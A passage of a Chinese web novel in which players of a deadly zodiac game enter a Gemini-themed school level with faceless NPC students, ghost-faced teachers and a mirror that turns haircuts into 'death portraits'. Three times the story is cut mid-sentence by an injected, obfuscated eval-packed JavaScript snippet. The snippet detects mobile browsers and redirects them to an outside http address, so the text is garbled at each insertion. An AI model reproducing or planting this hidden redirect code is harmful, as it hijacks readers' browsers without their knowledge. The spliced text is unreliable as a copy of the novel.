计划中的重要人物,如云真真所料,在天黑之时登场,手里提着送给云真真的外卖。 云真真看着那一头被风吹乱的黄毛,大气地说:“走,去村口吃烧烤,我请客!” 天黑以后的露天小烧烤摊,大部分都是老板一个人枯坐看天。 今天难得来了俩不要命的,老板高兴地直呼“过年了”。 几杯啤酒下肚,云真真嚼着花生米,轻描淡写地说又去了一个副本,顺手捞了个隐藏的强力道具。 “啊?”金乐儿把酒杯顿在油腻腻的小方桌上,顺应她爱钱的心思问道,“绑定没有?改天带你去黑市问问价,肯定能卖个好价钱!” “更重要的是技能点。大羊公园里,你得了3点,一下子顶我过三个副本。这次又得了3点,新手光环真强,可得好好分配一下……” 云真真仰头喝光一杯啤酒:“技能点那种东西,我根本没打算用。” 金乐儿一口酒喷在地上,呛得直咳嗽:“技能点!那可是技能点!!有钱想买啥道具就买啥道具,但技能点,可咋样都买不来啊!把你厉害的,还不用……” 云真真端起空啤酒杯,在金乐儿眼前晃了晃,问道:“你说,这是什么?” “破酒杯一个……”金乐儿风吹日晒的脸本来就黑,喝了几瓶酒变成了紫色,“真真妹子,你是不是喝多了呀?你不知道点了技能点,能开多少金手指……” “谁不知道是杯子啊!这是个空杯,空的!”云真真把杯口朝下,又翻过来倒了一杯酒,“现在是什么?” “装满啤酒的……杯子?”金乐儿盯着溢出杯子的白色泡沫,丈二和尚摸不着头脑。 云真真打了个响指:“BINGO!装满啤酒,自然就装不下二锅头、葡萄酒、起泡酒、香槟,等等等等。它成为了一个确定且无趣的东西。” 金乐儿想不透彻,却直觉她的话有几分道理。 云里雾里之间,云真真递过来一杯酒:“哎,你做外卖员辛苦不辛苦?被瞧不起的次数多不多?忙忙碌碌是为了什么呢?” “嘿!那还用说?暴雨天变成落汤鸡,我护着外卖,放在衣服里。沾上几滴水珠,就他妈的被投诉……但能怎么办?咱一没学历、二没背景、三没颜值,只有这条命,就凑活着呗,游戏人间!”金乐儿的笑声中透着几分无奈。 “游戏人间,不如游戏游戏!”云真真眯起眼睛,“要不要组队,成为职业星座游戏玩家,一起赚大钱?” “成啊,怎么不成!”金乐儿激动地单脚踩在凳子上,“我嘛,烂命一条,孤身一人。” 云真真仰头,星星的光芒交织成混沌的美感:“我也一样,无爱一身轻!” “无爱一身轻,无爱……一身轻……太他妈对了……”金乐儿喃喃了几句,直接吹掉一瓶酒。 “没有家人的爱,是死是活爱咋咋地!”金乐儿用袖口抹抹嘴巴。 “没有伴侣的爱,走南闯北随心所欲!”云真真眼神迷蒙,晃着二郎腿。 “没有朋友的爱……朋友,我们算朋友吗?”金乐儿歪头,一副认真思考的样子。 “当战友吧。战友只有革命情。”云真真哈哈笑着,眼中映出星星闪烁的点点光芒,“进入游戏通力合作,但是……如果遇到那种只能存活一个人的游戏……只有各凭本事咯!来,干杯为誓!” 金乐儿嘴上连连答应着,却没喝完这一杯酒。 “明天早晨六点,在第一高中门口集合。”冷冰冰的声音从后方传来,打断热络的氛围。 金乐儿迷迷糊糊地回头,见来人是白深,马上笑着握手,称兄道弟起来。 “你来多久了?”云真真瞬间醒酒,带回警惕的面具。 白深没有作答,头也不回地消失在巷子尽头的黑暗中。 26. 小镇做题家(1) 【叮!星河浩瀚,游戏好玩!欢迎来到星座游戏。】 【消极游戏化作流星 游戏失败变为恒星 通关游戏遨游宇宙】 【本关游戏说明:】 【小镇做题家们,请从学校中顺利毕业!学术之风,狂卷怒号吧! 请最后两位到达的小镇做题家前往报名处领取并换好校服,毕业考试誓师大会将在15分钟后开始。】 公屏上绽放出双子座符号的彩色礼花,饱和度极高,旁边有一个小小的数字6。 “最后两位”,看来其他玩家都已到齐。 “小镇做题家?”金乐儿连连打着哈欠,眼泪挂在眼角,“小镇的户口我有,做题家嘛可就八竿子打不着了……起个大早,却为了打一个上学的副本,我从来就没这么努力过……” “你这S省人,算是白当了!高考、考公、考研、考证,S省人血液里的东西,在你身上连影儿都摸不着!”云真真调侃着,目光停留在门口极其显眼的“光荣榜”上。 榜上张贴着近十年的高考状元照片:女孩一律短发,男孩一水寸头,眼镜都如酒瓶底一样厚。 尽管是全市最好的高中,考入清北大学的同学却屈指可数。 云真真自然不在榜上。她的确在这里上过学,最终肄业。 几年前初入校园,心情百感交集。 这次重返校园,心情平如镜湖,附藏一些兴奋的暗涌。 昨晚,白深离开后,决定全职拼副本的两人借着酒劲分析一通、做起功课来。 游戏地点设在学校,大概率与左脑掌管的逻辑思考能力相关。 用人话说,就是一些应试教育有关的技能。双子座正是这一领域的王者。 然而,正如八个卦象能涵盖宇宙万物,双子座同时包含信息收集、短途旅行、双面性等诸多面向,很难盘出具体的东西。 考试之前,临时抱抱佛脚,也是一种不错的心理安慰。 “光荣榜”前方七八米,是由几张课桌拼成的简陋报到处,课桌后方整整齐齐坐着四位……老师? 四人两男两女,男人地中海发型,女人低盘发,坐姿统一,腰背挺拔,双手放在膝盖上,像极了等着老师发小红花的一年级小朋友。 金乐儿本想发笑,走近一些之后瞳孔却猛然收缩:这四个人……神态竟然一模一样! 斜上方45度挑起的倒八字眉带着威慑力,持续瞪大的眼睛形成“上下三白眼”,嘴巴向下弯成标准半圆形,随时准备训斥人。 “我嘞个乖乖!”金乐儿拍着胸口小声蛐蛐,“可吓俺一跳!那副表情,我还以为是庙里的增长天王,就是四大天王里最凶,蓝脸、吹胡子瞪眼的那位……” “可能是建模的表情包不够用,就那几个!”云真真看见这诡异的表情也不舒服,来一波强行解释。 “转校生同学,请拿好校服,迅速去体育馆换好,前往操场参加毕业考试誓师大会。”两位老师同步站起身,一人手中捧着一套蓝白色校服,异口同声地说。 另外两位老师指路机器人一般,举起僵硬的手臂同时指向体育馆的方向。 体育馆一层是篮球馆,铺满木地板,积了厚厚一层灰尘。 “你们学校,体育馆只能看不能用啊?”金乐儿忘性大,一进门就来了个“三步上篮”,地上留下他的清晰鞋印。 “没有超一线城市的教育资源,只能付出超一流的努力呗!谁还有空打篮球呀……”云真真观察着通往男女更衣室的鞋印,“别空气投篮了,赶紧去换校服,换完在体育馆门口集合!” 进入女更衣室,云真真看到一个胖胖的背影,十分眼熟。 “阿姨,你怎么也来了?”云真真轻轻拍着她的肩膀。 阿姨回头,羊毛卷微微颤动,眼中闪烁着喜悦:“闺女……是你,那个游戏测试员!” 云真真点头,看向她叠得整整齐齐的私服,最上层放着一个鲜艳的红袖标。 “我……也是听人家说的,说耍游戏可以赚点钱……”阿姨穿着宽松的短袖校服白T恤,显得十分局促,“我正好晓得那些地方要耍游戏,就想来试试……” “阿姨……这可是赌命的游戏。”云真真迅速换上蓝色的校裤,每条裤腿肥到能装下2个她。 据说校方这样设计校服,是为了掩盖性征。性征一旦被掩盖住,眼里就只能看见学习了。 阿姨也把校服穿成了oversize,她局促地扯扯衣角、拽拽裤腿,尴尬地笑着:“没事,来都来了……就是这把年纪,还得扮成学生娃儿,有点臊皮!” “这校服,穿上就跟水产市场上卖鱼的一模一样,没啥。”云真真宽慰着她,走出更衣室之前想了几秒,把绒布彼岸花装在裤子口袋中。 三人从体育馆走向操场,感受着天气,观察起校园环境。 是五六月的光景,夏虫鸣叫,风朗气清,符合双子座所属的月份。 只是校园里过于安静,教学楼的窗口像一个个黑洞,宿舍区域也冷冰冰的,没有一点人气。 到达操场后方,阿姨一声“哎哟妈呀”,显然吓了一跳。 操场上整整齐齐地列队着四个班,面朝主席台,居然有近200名学生,像一个个士兵玩具。 鸟语花香的季节,青春洋溢的年龄,却一片死气沉沉,鸦雀无声,学生的背影甚至连呼吸的起伏都看不到。 真是此处无人胜有人。 “请转校生迅速归入所属班级队伍,毕业考试誓师大会将于3分钟后准时开始。”主席台上一个“增长天王”发话,台下200道目光齐刷刷地射向3个人。 说是目光,首先得有“目”才行。 绝大多数学生的眼睛位置,眯成一道缝,看不见瞳孔;眉毛一律平平的,只有长短、粗细、浓稀之分;嘴巴闭得很紧,抿成一条线,用水平仪测量想必也不差分毫。 总而言之,所有人的表情就是面无表情。 “完了!密集恐惧症,我有点……”金乐儿一紧张,就爱说倒装句。 “其他同学给我转回来!”“增长天王”声音里充满怒气,和他的脸庞非常匹配,“一点小事就把你们吸引走了,还怎么通过考试!……” 刷!顷刻间大多数学生转回身站好军姿,只剩下后脑勺——男生一律平头,女声发不过耳。 只剩下几张正常人的脸依然盯着三人,好在这些眼睛都能睁开,也有几个熟人。 高三一班的男生队伍中部站着丁卯,正向云真真微微点头示意。此外,队伍尾端有两个见过就不会忘记的人——扫帚头和阴阳头,“猎鹰组织”的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14599825|152002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 高三三班的女生队伍里,一头火焰般红发的女孩大胆直接地盯着云真真——辛晴终于出任务了。此外,还有略显慌张的一男一女,不认识。 高三四的男生队伍末尾是莫西干头和个子最高的白深,女生队伍里……是一个几乎能完美融入众多面无表情NPC之中的女生,只不过眼睛稍微大了一些。 “那个女孩儿,是不是光荣榜上那个状元,五年前考上清北大学的?”红袖标阿姨激动地指着她,连连感慨,“好孩子,真是好孩子!我到得早,多看了一会儿光荣榜,这孩子名字也好听,叫文诗书……” “阿姨,人不可貌相哦!无论是游戏里还是游戏外。”云真真再次确认校服胸口绣着的“高三二班12号”,带着两位“同班同学”快速走进二班队伍,站在队尾。 这样看来,玩家人数依然是12人,与体育馆观察到的脚印差不多吻合。 这些转学生,虽然穿着校服,站在学生队伍里,却也是一个比一个奇形怪状:可以当高中生姥姥、爸爸的,辍学在理发店当洗头小哥的,整天在村口晃荡无所事事的,穷困潦倒还要硬撑面子的小白领……总之除了学生,啥都像。 毕业考试誓师大会正式开始。 一位被介绍为“校长”的“增长天王”,从主席台中央缓缓起身,抓起话筒。 “距离毕业考试还有一周。”校长用怒容俯视全场,声音中透露着威严,“你们,全市最好的学生,整个家庭的希望,底层学校的羡慕对象,务必给我保持纪律、狠狠学习!” 主席台上其他教职工带头,有节奏的拍起了手:啪,啪啪,啪啪啪……啪,啪啪,啪啪啪…… 台下的学生随之拍起手,动作整齐划一,声如雷动。 玩家们虽然不知道咋回事,却也像渺小一滴水,被大海裹挟着,莫名其妙地拍起了手。 “这节奏……”金乐儿边拍手,边忍不住说起小话,“像不像理发店早会的‘好、很好、非常好’……哈哈哈……” 人一旦得意忘形,就容易出岔子。 金乐儿的节奏乱掉了。在大家拍手的间隙,发出一声不和谐的“啪”。 金乐儿所在位置,立刻变成了焦点,将所有目光牢牢地吸了过来。 主席台的教职工、四个班的NPC同时望向这里。 放眼望去,除了几名玩家,像是复制粘贴、复制粘贴的杰作,让人不觉脊背发麻。 更诡异的是,他们的头虽然从各种方位扭转过来,手上却始终保持着一丝不乱的节奏。 金乐儿还算机灵,连忙站得笔直,一本正经地拍起手,表情严肃得像能在研究国际局势。 等到一个个头终于扭了回去,云真真这才发觉竟然出了一身冷汗。 两人小队刚集结,谁也不想出师未捷身先死。 校长示意安静,掌声戛然而止。 “喂,”云真真用最小的声音说,“不知道是不是眼花,我好像看见……有的学生表情变了一下。” “啊,那些建模脸?”金乐儿学乖了,嘴巴最小幅度地动着回话,“我没看见啊,吓都吓死了……” “也就那么一瞬”,云真真回想着,“也许是我看错了。” “我也……看见了……”站在云真真前方的阿姨声音颤抖起来。 27. 小镇做题家(2) 高三二班的队伍尾巴,三个人轻声嘀咕着“变脸”的信息。 金乐儿的好奇心占据上风,连连追问红袖标阿姨建模脸到底变成了啥样,声音也不知不觉大了起来。 阿姨排在云真真前面,侧过头刚说回答一句“哎呀我跟你说……”,肩头就被云真真重重按住,耳边传来一声“嘘”。 阿姨会意,马上住了嘴。 金乐儿则收获了云真真一个饱含愤怒的白眼,那神情,比主席台上的“增长天王”们好不到哪儿去。 他不得不轻打了一下嘴巴,挤眉弄眼,意思是“瞧我这张嘴”。 云真真没跟他说笑,而是严肃指向自己的耳朵,双眼像激光一样扫射着整个高三年级队伍。 咋回事?打嘴巴不够,还惩罚我打自己耳朵啊?云真真这个人,年龄不大,情绪却收放自如。金乐儿莫名有点怕她。正疑惑着,他突然明白云真真在暗示什么了。 左前方高一一班的队伍,和右前方的三班、四班队伍,正在进行极其隐蔽的“人浪”。 “浪”传递的方式不是体育场里那种,人一个接一个站起来又坐下,而是通过耳朵。 一个人的右耳微动几下停止,随后排在她前面、左面的人的右朵开始微动,这波“耳浪”一个传一个,一直传到主席台。 凭借着不曾挑灯夜读的好视力,金乐儿又观察到两点特殊的地方。 和一班使用右耳不同,三班、四班的“耳浪”通过左耳传递。 一班的男生队伍的“耳浪”中断在丁卯处。 这诡异的信息传递方式,好比在平静的湖面扔出一颗小石子,泛起一波波涟漪。 金乐儿恍然大悟:圆心就是我们仨。幸好幸好,没说出来更“好听”的话。 仔细一想,不禁开始冒冷汗:在这里,玩家几乎是透明的,没有任何隐私。看来上厕所也最好避开这些毫无生气却喜欢传小话的“建模脸”。 主席台上的校长微动耳朵后,开始了中气十足的训话,重要信息同步在公屏上。 【距离毕业考还有一周,具体时间安排如下: 今天是周一,复习。周二,进行一模考试。周三,复习,周四,进行二模考试。周五,复习,周六,进行毕业考试。】 考试?云真真的心打起鼓来。高中读了不到两年,那点轻飘飘的知识早就在社会大学中消磨殆尽了。 何况……还拖着一个更蠢的猪队友,超过三位数的加减法想必他都困难。 “最后,来到最激动人心的环节,以校训誓师!”校长愤怒的脸庞上看不出任何激动人心,惊吓倒是有不少。 “物竞天择,适者生存!”校长握紧拳头,向上方打出去。 “物竞天择,适者生存!”台下的学生们效仿着,声浪盖天。 “物竞天择,适者生存!”校长再领一句。 “物竞天择,适者生存!”学生们又跟一句。 …… 这都什么玩意儿,有完没完?云真真的右臂挥到酸痛,一唱一和还在继续进行。 但是没办法,得扮演好转校生的身份。毕竟在上两场游戏中,都有“下马威”来着。 她边机械地挥拳头喊口号,边在脑海里开起了会。 一中的校训原本是“自强不息,务实笃行”。等等……这两个校训之间,似乎也能理解成同一个意思。 “自强不息、务实笃行”用在学生身上,还是体现在没日没夜地拼命学习上,属于好听的正向激励。 “物竞天择,适者生存”则源于达尔文主义,意在警告你,不用功读书,你就会被淘汰掉,属于反向鞭策。 一体两面,双子座,双重洗脑,还蛮有意思的! 口号大概进行了一百多遍,同学们终于能回班级上自习了。 顶着同一张脸的同学们朝着教学楼小跑起来,没人说话,没人打闹,没人借机看暗恋的对象,只听见哒哒哒哒的脚步声,像战战兢兢跑在淤泥里的苦力马匹。 玩家们主动落在后面,NPC太多,大家需要分享信息与对策。 “猎鹰组织”三个奇形怪状的人聚成一堆,激烈讨论着什么。 云真真唯二不认识的一对男女,似乎也结成了联盟。 文诗书本想独自离开,却被热情的红袖标阿姨一把拉住手,连连称赞她是“好孩子,厉害的孩子”。 白深率先开口,语气不那么友善:“云真真,这个副本,不会又有你认识的,或是有跟你有关的人吧?” 辛晴同样一脸鄙夷:队长的言外之意我听懂了,你肯定是又准备害人了。 云真真停下脚步,仰头直视白深:“嘿,我就奇了怪了!我是太阳吗,什么都围着我转?你学识渊博,肯定明白最多通过五个人,你能认识任何人的理论。你们几个,都是我认识的人,那又咋了?” “没错,这是‘六度分离理论’”,丁卯一向学术严谨。 “丁哥,你穿上这身校服……”金乐儿丁卯接过话茬,松了一口气,“总让我想另一个理论……” “啥理论?”丁卯侧过头,认真倾听。 “老黄瓜刷嫩漆……”金乐儿拍着大腿笑。 “哎呀,这不都是为了研究嘛!”丁卯并不生气,翻开一本新笔记本,“言归正传,我先说说我的意见。” “这一关,是双子座,信息沟通交流是极为重要的。开头分成四个班,造成我们之间的信息壁垒,所以,我们一定要找机会及时交流信息。” “我不参与。”文诗书冷冷转过身,带着几分蔑视看向云真真,“云真真同学,又见面了。这一次,我们光明正大的较量,看看到底谁的成绩更好!” 话毕,她朝着教学楼一路小跑过去,背影和那些NPC学生毫无差别。 “这孩子……成绩是真好……就怕学傻了呀!在游戏里都要和别人比成绩!”红袖标阿姨望着她的背影叹着气,“刚才她说,从清北毕业后,她一直在备考研究生,好像考了两年还没考上……” “有人的人生,确实只有考试这一种评价体系。除此之外,空无一物。”云真真又说了句金乐儿懵懵懂懂的话。她让他莫名害怕的地方就是这点:不知道她的底有多深,但有时又觉得她是天真顽皮的。 这一刻,她又拉起阿姨的手:“阿姨,刚才你说,你也看见学生NPC变脸了,说一说吧!” “当时,我就是看小文这闺女去了。她身后那个人……原本一张烙饼那么平的脸,突然就变成恶鬼一样的脸了,哎哟哟,真是吓人,眼眶里黑黢黢、空荡荡的,露着一排尖牙,能扎死人……”阿姨说话喜欢比划,羊毛卷随之微微颤动。 云真真随后分享出“耳浪”的信息。 如此大方倒不是出于善意。她明白,他们都是鹰眼豹耳,肯定也看到了,不如索性卖个好。 丁卯迅速整理着笔记本:“唔……我总结一下,现在掌握的信息,第一,NPC之间信息传递的方式很特别,基本上一个知道,其余就都知道了,符合双子座爱八卦、信息灵通的特质。因此,我们要谨言慎行。” “第二,NPC应该有两幅面孔。不为人知的另一张面孔,也许暗含风险。这是双子座的双重性。” “第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14612409|152002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三,校训‘物竞天择,适者生存’属于社会达尔文主义。我还有些困惑,副本里的评价标准是不是也和现实里一样,以成绩论英雄。” “说到这而,明天就一模考试了……考高中知识的话,我是不怕的。但是你们……尽量多收集信息吧!” 几人又讨论了一会儿,学校的大喇叭响起,催促转校生赶紧进入班级学习。 进入班级之前,白深一步横在云真真面前:“这次,先把你和文诗书的故事说出来。” “我说你这人真的很怪。”云真真绕过他,“别人研究游戏,你倒研究起我来了。” 她心知肚明,自己身上的疑点确实不少。绒布彼岸花与星座游戏的关联,某些玩家与自己的关联,丝丝缕缕,弯弯绕绕,如同迷宫。 “我出钱!”白深再次发动钞能力,屡战屡胜。 云真真立刻换上一副营业笑脸:“成交!下课碰头。” 她转身闪进高三二班教室,马尾尖因为开心上下跳跃起来。 教室里静得可怕,活人气息极其微弱。但这里的确坐着50名“同学”,全部埋头于书桌上。 云真真回忆起现实世界里的高二二班,一走进去,混合着荷尔蒙和汗脚的臭味扑面而来,嗡嗡的说话声像蚊虫开会,小团体边看云真真边品头论足,班主任正趴在后门的玻璃上…… 没法说清楚,究竟是现实好,还是游戏好。或者说一样糟糕。 金乐儿和红袖标阿姨坐在最后一排的三连座,指向旁边的空位。 两人违和感十足,又带着几分喜感,像极了乡下新开识字班的淳朴学员。 刚坐下,地中海发型、怒容的班主任把三张纸分别拍在三人面前,上下都露出三白的眼睛来回瞪着三人:“转校生,这是学校的作息表和课程表,精确到分钟,务必遵守。” 【作息表】 【5:30—起床】 【5:40—5:55操场集合跑操,务必带上早读资料】 【5:55—6:30户外早读】 …… 刚看几行,金乐儿就忍不下去了,歪头对云真真小声蛐蛐:“妹子,你们学校这么变态?5点半起床,5点40就集合?10分钟之内,还得穿衣服,刷牙洗脸上厕所,跑下楼!跑步还得带资料?我真差那点时间吗……” “这作息表,倒挺真的。但真的,甚至还要变态一些……”云真真轻声回答,“我这么坚持了近两年……” 咚!重重一声响起,两人立马闭上了嘴。 地中海用黑板擦敲着讲桌,大吼道:“33号!你给我站前面来!” 寸头中的一个站起身,战战兢兢走到班主任面前。 “今天跑操,你几点到的?”班主任得意洋洋。 “5点……5点40分08秒”,33号垂着头。 “超时了8秒!”班主任的声音里充满兴奋,眼眶变成两个黑洞洞的大窟窿,嘴巴咧到耳朵根,露出一排白森森的尖牙。 和阿姨描述的鬼脸一模一样。 咔嚓、咔嚓,接连两声,什么物体先后落地。 低头一看,物体上部还挂着白色校服的半截短袖。 云真真三人不敢相信自己的眼睛:班主任变脸之后,呲出牙齿,硬生生将33号的两条手臂齐肩咬下! “滚回去自习!”地中海恢复成怒脸。 33号转过身,原本面无表情的脸变为一张定格的哭脸,渗着血红色眼泪。 其余同学将头埋得更低。 双子座对应的身体部位是胳膊和肺部,看来体现在这儿了。 28. 小镇做题家(3) “没有胳膊,生活里全是麻烦!”红袖标阿姨突然情绪激动,脸色青一阵红一阵,在座位上喘着粗气。 云真真轻拍她的后背,低声说:“他们都是假人。你仔细看,他双臂断了,却一滴血也没流。” 这边阿姨还没安抚好,那边金乐儿的正义感又压制不住了:“啧啧啧,迟到几秒,就被咬掉双臂,这还是学校吗?这明明就是丛林啊,咬人的那是野兽……” 云真真后悔坐在三连座的中间。她只能右手拍着阿姨,左手在金乐儿胳膊上狠狠拧了一把。 然而,“耳浪”已经由前桌的同学,层层传递到教室中间位置,直奔“地中海”班主任而去了。 云真真赶紧从桌洞里掏出一本书,迅速示意两位“猪队友”照做。 按照经验,老师想找茬时,你却在认真学习,他的气就能消掉一半。 低头翻开一页,想认真阅读,内页却是空白。 再翻开一页,空白。一直翻到最后,全是空白…… 再抽出两本书,仍然是空白。 云真真绝望了:连个装的机会都不给?这学校到底想让我们学些啥啊?无字天书?无中生有? “地中海”动着耳朵,毫无意外地朝三人走过来,鬼脸已经变回怒脸。 三人拼命低头,盯着那张作息表,作出一副研究宇宙终极问题的认真模样。 沾着粉笔灰的灰色西裤,最终停在了云真真课桌前。 云真真挂上讨好的笑容,缓缓抬起头。寒意从视觉神经传遍全身。 一张怒容自正上方俯视下来,脸大如盆,眼球几乎爆出,鼻孔喷着粗气,如同地府判官在刀山火海中审判十恶不赦的罪人。 半圆形的嘴巴,好像反复跳帧的画面,在向下弯与露出獠牙之间切换闪烁。 像是又要变脸了。 教室里其他“同学”的耳朵,齐刷刷地歪向这边。 顶光仰视的视角实在让人毛骨悚然,云真真鼓足勇气,不等“地中海”发难,率先站起身:“老师,我有问题想问。” “地中海”的怒脸稳定了下来:“有问题是好事,证明你在学习。但是,要举手,别在下面说小话,影响其他同学自习。校规就是校规,适者生存!你们说了些什么,真以为老师不知道吗?” 我知道你知道,但不知道你知不知道我知道你知道……云真真在心里默默回答。进入双子座副本以后,好像逻辑思维都变强了一些呢。 “我们错了,转校生对校规还不熟悉,下次一定注意。”云真真一顿鞠躬敬礼后,举起作息表,指着其中一行,“老师,上面写着22:00必须回到宿舍……那么问题来了,宿舍,在哪儿?” “同学们”的耳朵齐刷刷地收回原位,蔫嗒嗒地垂了下去。 金乐儿也不觉低头汗颜:这个问题实在是过于高深了…… 大道至简。云真真问出看似白痴的问题,显然也是经过考虑的。 一不知道他教授科目,二不清楚课本具体内容,如果随便问个诸如“双曲线公式”“牛顿第三定律”“现在完成时”的问题,才是自找麻烦。 只有这个看似白痴的问题,顺应双子好为人师爱回答的特质,符他合班主任的身份,还能及时转移走注意力。 幸运的是,这一关总算躲过了。三人的胳膊都在,一个也没少。 按照作息表,上午除了20分钟的课间操以外,全是自习课。 中午吃饭时间精确到分,必须站着吃饭,不能和别人说话。 下午有一节活动课,但后面加了一个括号,里面写着加粗加大的四个字:建议自习。 就连短短的下课时间,也被四面八方竖起的耳朵时刻监控着。 玩家们有效交流的时间,被挤压得十分可怜。 好容易熬到课间操,“同学们”僵尸一般走出教室,云真真才带着金乐儿和红袖标阿姨偷翻“同学们”的课本,试图找到明天一模考试的范围。 空白,空白!还是空白,全是空白! 三人面面相觑,云真真想起“同学们”奋笔疾书的样子,无奈地笑出声来:“哈哈……总觉得这个副本是在讽刺现实,还蛮有趣的。” “咋的?你的意思是,你上高中时候,也啥都没学到?”金乐儿把最后一本书放进桌洞。 红袖标阿姨丝毫不担心考试,云真真怀疑那是因为她不清楚“一模”的定义。 但她始终对33号同学失去双臂这件事耿耿于怀,连连说着失去双臂后遭受的白眼、生活上的不便,义肢格外昂贵,特别是智能义肢。 她身边一定有个失去双臂的人。但云真真来不及细问:按照作息表,课间操的时间到了! 一路把控着时间小跑到操场,并没超时,但也是最后三名。 操场上“同学们”整整齐齐排列着,没有半点生气,活像一个个活在黑白世界里的阴兵。 刚要溜回高三二班队伍中,另外一个个头很矮的“地中海”怒脸天王揪住了金乐儿的胳膊。 “你们三个,哪班的?”矮子一张口,那语气,那措辞,毫无疑问来自德育处。 校服上明明标着班级,他们就是故意要问。 “我们也没迟到啊?”阿姨指向主席台上的电子表,又紧张看向金乐儿被死死钳住的胳膊,生怕被拽掉。 班主任连忙跑过来解释:“主任,这三人是我们班的转校生。” “他们仨的头发,是学生应该留的发型吗?”在官大一级压死人的加持之下,主任的怒容显得更加凶狠,“锅盖、羊毛卷、马尾巴,梳这种头发,不如回家放羊养马蒸红薯!” “对对对,主任说的没错。没有标准学生头还算什么学生!”班主任对主任哈腰鞠躬,又拔直腰板瞪着转学生,“你们仨,赶紧去仪容室剪头发!上午的课就别上了!” “主任、老师,我举报!能不能将功补过?”云真真举起手来,还故意艰难地动了动耳朵,“其他班的转校生,头发也有不合格的!你看三班那个男生,偏分刘海,都快垂到鼻尖了……” “头发不合格的,都给我自觉出列,站到前面来!”主任一声令下,“集体去仪容室,下午我来检查!不合格的,校规处理!” 在云真真的告密下,除文诗书以外的玩家灰溜溜地前往“仪容室”。 丁卯毫不在意,说头发正好该剪剪了。白深不时摸一下刘海,露出几分烦躁。 嘿!就是要把你这偶像包袱全部卸掉!云真真带着一颗恶作剧的心,准备看热闹。 “猎鹰组织”的洗剪吹组合最生气,“阴阳头”扬起拳头就要打云真真。 “我是在给大家创造交流的机会。”云真真冷冷拦下他的拳头,“你们在班里,能正常说话、交换情报吗?哦,你们仨甚至都不在一个班。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14625148|152002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阴阳头”尬住几秒,回头对队友说:“就该派冷观那小子来,你们非不信……” 云真真的耳朵微微一动。那是身怀重要技能的小子,可得多听点儿信息。 不料“扫把头”一把揪回“阴阳头”,三个人落在后面嘀嘀咕咕,一直到达“仪容室”也没再和其他玩家交流。 “仪容室”在现实中是一间舞蹈教室。当然,在以文化课为主的学校中,这类教室基本沦为摆设,闭门尘封。 推门进去,灰尘扑面而来。室内空荡荡的,只有一面巨大的镜子,镶满了整堵墙。 “音容笑貌……后面仨字儿是啥呀,看不清楚……”金乐儿捂着鼻子,努力辨认镜子左右两边对联一样的条幅。 只不过对联是红底黑字,这副联子是白底黑字。 右边那联是“音容笑貌XXX”,左边那联是“德智体美XXX”,下面三个字都被晕开,看不清楚。 镜子前方有一张小桌子,上面放着几把理发剪,还有推子、发梳、染发剂等工具。 “这是让我们自己剪吗?”红袖标阿姨拿起一把剪刀反复看,“还行,工具挺专业。” “阿姨,你会剪头发啊?能不能帮我剪得帅气点……”金乐儿哭丧着脸,“身体发肤,受之父母,学校凭什么要管我们的发型啊?” “阿姨会剪女孩头,男孩儿也可以试试,你不用着急……” 咔嚓、咔嚓,众人还在讨论之时,几股长发已经悄然落地。 云真真拎起马尾尖,倒竖着,对着镜子来了两剪刀。 正打算看长度合不合适,镜子里那张脸似乎跳了一下帧。 视线从头发转移到眼睛,还是那双熟悉的杏仁眼,虚惊一场。 云真真松了口气,又狠狠下去一剪子,余光却清晰捕捉到,有那么一瞬间,自己的眼睛,变成了一条缝,和那些“同学”一模一样! 啪!云真真一把扔掉剪刀,头发像刚刚被狗啃过一样参差不齐:“快找东西把镜子蒙上!” “等一下。”白深捡起几股长发,用手举在云真真的断发处。 镜子里的云真真没有发生变化。 长发被拿掉的瞬间,镜子里的云真真变成了一字眼。 白深又重复几次,镜子里云真真的眼睛随之一会儿大一会儿小。 云真真明白了。对着镜子剪完头发,大概率会变成和“同学”一模一样的“人”。 这是一场赤裸裸的精神阉割。 “哥,你玩儿够了没?”云真真见白深还在拿自己的头发一起一落,抄起剪刀稳准狠地剪缺了他最在意的刘海。 “你……”镜子里的白深果然在瞬间变成一字眼,但他却只盯着带着缺口的刘海,一脸无奈。 “明白了!”丁卯点着头,看着镜子旁边的那副联子,“‘音容笑貌’后面三个字,是‘应犹在’。‘德智体美’后头呢,八成就跟着‘永流芳’了……” “一幅挽联,这TM就是……”金乐儿狠拍一下大腿,恍然大悟,“这镜子,也可以看成一个巨大的相框嘛!把我们全部框进去,再配上一幅挽联。唉呀妈呀,学校好狠的心……” “‘仪容室’就是‘遗容室’嘛。”云真真兴高采烈地补充,“对着镜子剪完头,就变成扁平人了。我们现在的脸,不是遗容还能是啥?” 